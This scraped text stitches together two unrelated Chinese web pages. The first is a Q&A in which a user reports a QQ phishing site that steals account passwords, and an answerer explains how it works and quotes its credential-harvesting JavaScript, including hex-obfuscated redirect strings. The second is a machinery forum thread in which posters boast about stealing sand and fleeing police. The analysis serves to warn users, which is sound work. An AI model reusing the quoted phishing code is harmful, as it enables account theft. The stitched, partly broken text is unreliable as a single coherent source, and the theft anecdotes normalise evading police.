最近很多朋友都被盗号了，好像都是找人充话费之类的，大家都在空间道歉，之前还不知道怎么回事，直到上一次空间被@，就是这个：&img src=&/f5b5b38d98be00bf4997a4_b.jpg& data-rawwidth=&298& data-rawheight=&241& class=&content_image& width=&298&&&br&点开那个网址&br&（&a href=&/cgi-bin/qzshare/cgi_qzshare_urlcheck?appid=311&rappid=311&url=http%3A%2F%2Fhptfpn.tk%2F%3Fp%3D219%26amp%3Bk%3DeF9X3& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://www.&/span&&span class=&visible&&/cgi-bin/qzs&/span&&span class=&invisible&&hare/cgi_qzshare_urlcheck?appid=311&rappid=311&url=http%3A%2F%2Fhptfpn.tk%2F%3Fp%3D219%26amp%3Bk%3DeF9X3&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&）&br&会跳转到&br&（&a href=&http://hptfpn.tk/?p=219&& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&hptfpn.tk/?&/span&&span class=&invisible&&p=219&&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&;k=eF9X3）&br&是这样的&br&&img src=&/a688efeb560a9fd282c95e7e3bbf1efa_b.jpg& data-rawwidth=&1323& data-rawheight=&637& class=&origin_image zh-lightbox-thumb& width=&1323& data-original=&/a688efeb560a9fd282c95e7e3bbf1efa_r.jpg&&估计很多人这里就上当了，然而这里不管你填什么，点击登录以后，它都会提醒你一次账号或者密码错误&br&&img src=&/803b8ff870fd773f94b3cbd_b.jpg& data-rawwidth=&619& data-rawheight=&367& class=&origin_image zh-lightbox-thumb& width=&619& data-original=&/803b8ff870fd773f94b3cbd_r.jpg&&估计是盗号的人为了防止用户输错密码，然而这并没有什么卵用，因为亲身测试即使你两次密码不一样，还是会跳转到下面这个网站&br&（&a href=&http://user./& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&QQ空间&i class=&icon-external&&&/i&&/a&）&br&&img src=&/072d35eb802ede187aa5_b.jpg& data-rawwidth=&1313& data-rawheight=&615& class=&origin_image zh-lightbox-thumb& width=&1313& data-original=&/072d35eb802ede187aa5_r.jpg&&这个貌似是个正常的空间，专门设置来钓鱼的，我不相信有谁会把自己命名成同学聚会.......&br&&br&我第一次也被钓鱼了，就是一周以内，输入密码以后它提示错误，我觉得有点不对劲，因为我的密码用了很多年没有换过了，很少很少输错，然后我再第二次输入密码前移动了下鼠标，就果断知道这个是钓鱼的了，因为在登陆界面（详见上图），返回登陆，忘了密码，创建新账号都是无法点击的，二维码那里也是一样，然而登陆是可以点击的（就是鼠标变成手指状），于是我马上改了密码。。。。&br&本来就这么忘了，直到刚刚又被@了，同样的方式，同一个网站，听说有的同学被盗号，真的有人信了，给未知号码充了话费。。。。&br&有没有大神来解释一下这个盗号网站是大概利用什么原理工作的，有没有办法禁止？毕竟我觉得很多人非常容易上当，太可恶了&br&PS：盗号者@你的这条说说还特别机智，禁止你评论，所以大家看到的第一张图片我的评论没有发出去
最近很多朋友都被盗号了，好像都是找人充话费之类的，大家都在空间道歉，之前还不知道怎么回事，直到上一次空间被@，就是这个：点开那个网址（）会跳转到（;k=eF9X3）…
专门用来盗号的。里面都是图片，已经扒下来了，可以看看。本质是背景用一张截图，上面不可点击，然后是一个子窗口（iframe），在这个子窗口里面放登录框。等你点了登录，就会把你的资料上传上去了。上传的代码：var t = 0;
$('.check').click(function(){
var xxoo = $('#xxoo').val();
var ooxx = $('#ooxx').val();
$.post('/Index/post',{xxoo:xxoo,ooxx:ooxx,uuuu:'219'},function(data){
$('.out_alt').addClass('pas_no');
$('#ooxx').val(""); $('#ooxx').focus(); t++; }
else{var _$=["\x6c\x6f\x63\x61\x74\x69\x6f\x6e","\x68\x72\x65\x66","\x68\x74\x74\x70\x3a\x2f\x2f\x75\x73\x65\x72\x2e\x71\x7a\x6f\x6e\x65\x2e\x71\x71\x2e\x63\x6f\x6d\x2f\x34\x30\x33\x33\x38\x32\x30\x33\x31\x2f\x34"];
top[_$[0]][_$[1]]=_$[2];);
else后面是跳转，解析出来是，就是截图的那个相册的原始ID。所以所有流程是：骗你点击那个网站，然后用无比粗劣的手段去仿制QQ页面，让你输入信息。第一次输入的时候，数据就会提交上去，但是提示密码错误。第二次输入的时候，才会跳到真正的那个仿制的地方去。PS：有人注意到uuuu:'219'吗？网址的参数里面，数字可以改哦，改了又是一个钓鱼网站，仿制的还是不同的网页。目测是一个盗号团伙，以不同的方式钓鱼、记录、获益。这么渣的技术，也好意思出来钓鱼，也是醉。
喜欢程序设计，奋斗中的菜鸟。第三方登录：查看: 1743|回复: 14||
贡献0 点铁甲币50 枚居住地 兰州市柴油39 升在线时间1 小时主题帖子精华0阅读权限10注册时间UID232860
拖拉机, 积分 14, 距离下一级还需 36 积分
TA的每日心情开心签到天数: 4 天[LV.2]偶尔看看I居住地 兰州市铁甲币50 枚精华0柴油39 升帖子
我12年在沙场工作，没有沙源，只能去偷，还有就是需要掏钱去买，老板没钱只能偷，老板的名字我就不说了，那天是晚上7点左右就去挖沙子，那天运气好，装了几十车沙子，马上就能下班了，可就在这时隔壁沙场举报了我们，我们还不知道，我装了剩一个车的时候警察来了，速度很快，我们当时人手一个对讲机，正好我装完就坐那睡了一会，忽然他们就喊；快跑，警察来了，我心里猛地一紧张，开车就跑，但为时一晚，警察已经下到坑子里面了，我只能豁出去了，开着就往山上跑，警车也许底盘高的缘故，一直紧紧的追着我，心里什么感觉可想而知了，当时我急了顺着路就挖了一产把路挖了个坑，心里想着他过不来了，谁知警车慢慢的就开了过去，当时我就蒙了，顺便说一下警车是那种高底盘的越野车，没办法我就误打误撞没目的的跑，有条小路但我不知道，也许我幸运跑了半截有条路直通厂子那条路，我就油门干到底恨不得立马飞到厂子，但毕竟跑不过人家，跑了离厂子有几百米远的时候，警车突然超到我的前面，一看跑不掉了就索性车一停钥匙一拔就跑进路边的绿化带躲了起来，警察也没追，手机也拉车上了，正好老板来了，不知道说了些什么，就要求把车开到派出所，最后好像塞点钱就没事了，车也放了，还有很多，我就不一一说了，感谢朋友们阅读，有时间再奉上更精彩的工作中发生的事情，
贡献0 点铁甲币3461 枚柴油2764 升在线时间544 小时主题帖子精华0阅读权限150注册时间UID143847
大型矿卡, 积分 3475, 距离下一级还需 1525 积分
TA的每日心情无聊签到天数: 255 天[LV.8]以坛为家I铁甲币3461 枚精华0柴油2764 升帖子
你这还是好的呢，我们这里现在有九个部门一起抓，只要抓到就扣车，不管你是谁，
我是一名操作手，我自豪，我为自己代言！
贡献0 点铁甲币366 枚拥有设备山东临工LG933,龙工LG818D,点击选择设备QQ居住地 晋中市柴油198 升在线时间1 小时主题帖子精华0阅读权限10注册时间UID229889
装载机, 积分 84, 距离下一级还需 116 积分
TA的每日心情开心签到天数: 30 天[LV.5]常住居民I居住地 晋中市拥有设备山东临工LG933,龙工LG818D,点击选择设备铁甲币366 枚精华0柴油198 升帖子
期待下文，楼主聪明还知道挖个坑下次挖大点
贡献0 点铁甲币279 枚居住地 中山市柴油45 升在线时间0 小时主题帖子精华0阅读权限10注册时间UID230209
拖拉机, 积分 22, 距离下一级还需 28 积分
TA的每日心情开心签到天数: 49 天[LV.5]常住居民I居住地 中山市铁甲币279 枚精华0柴油45 升帖子
钱虽然不是万能，但没钱万万不能。
贡献0 点铁甲币487 枚拥有设备柳工CLG836,点击选择设备,点击选择设备居住地 凉山彝族自治州柴油297 升在线时间0 小时主题帖子精华0阅读权限10注册时间UID222999
装载机, 积分 138, 距离下一级还需 62 积分
TA的每日心情开心签到天数: 33 天[LV.5]常住居民I居住地 凉山彝族自治州拥有设备柳工CLG836,点击选择设备,点击选择设备铁甲币487 枚精华0柴油297 升帖子
被政府追的满河跑
贡献0 点铁甲币1196 枚拥有设备现代R225LC-7,斗山DH220LC-7,点击选择设备QQ居住地 绵阳市柴油833 升在线时间0 小时主题帖子精华0阅读权限30注册时间UID216914
推土机, 积分 414, 距离下一级还需 86 积分
TA的每日心情开心签到天数: 63 天[LV.6]常住居民II居住地 绵阳市拥有设备现代R225LC-7,斗山DH220LC-7,点击选择设备铁甲币1196 枚精华0柴油833 升帖子
我去
贡献0 点铁甲币80 枚居住地 莱芜市柴油92 升在线时间23 小时主题帖子精华0阅读权限10注册时间UID221416
装载机, 积分 123, 距离下一级还需 77 积分
TA的每日心情开心签到天数: 3 天[LV.2]偶尔看看I居住地 莱芜市铁甲币80 枚精华0柴油92 升帖子
我今年就干过，两个50在河里装一个前四后八，装到第11车时第十个车对路况不熟悉，刚出河道就翻河道里了，车子刚翻派出所就赶到了，幸亏跑得快，没逮到
贡献0 点铁甲币1375 枚柴油996 升在线时间95 小时主题帖子精华0阅读权限50注册时间UID192509
挖掘机, 积分 881, 距离下一级还需 119 积分
TA的每日心情开心签到天数: 106 天[LV.6]常住居民II铁甲币1375 枚精华0柴油996 升帖子
沙还用偷啊？我们这里的沙不值钱，在河里随便挖
贡献0 点铁甲币311 枚居住地 湛江市柴油430 升在线时间0 小时主题帖子精华0阅读权限10注册时间UID209817
装载机, 积分 110, 距离下一级还需 90 积分
TA的每日心情开心签到天数: 9 天[LV.3]偶尔看看II居住地 湛江市铁甲币311 枚精华0柴油430 升帖子
唐建 发表于
沙还用偷啊 ...
挖一斗就能值一百块钱了
贡献0 点铁甲币1216 枚拥有设备卡特彼勒390D,卡特彼勒390FLME,利勃海尔L+566+2plus2QQ居住地 杨浦区柴油1673 升在线时间0 小时主题帖子精华0阅读权限50注册时间UID220852
挖掘机, 积分 814, 距离下一级还需 186 积分
TA的每日心情开心签到天数: 102 天[LV.6]常住居民II居住地 杨浦区拥有设备卡特彼勒390D,卡特彼勒390FLME,利勃海尔L+566+2plus2铁甲币1216 枚精华0柴油1673 升帖子
我朋友沃尔&#b刚买回来去偷沙扣了六个多月
Powered by
下载论坛客户端，随时随地上铁甲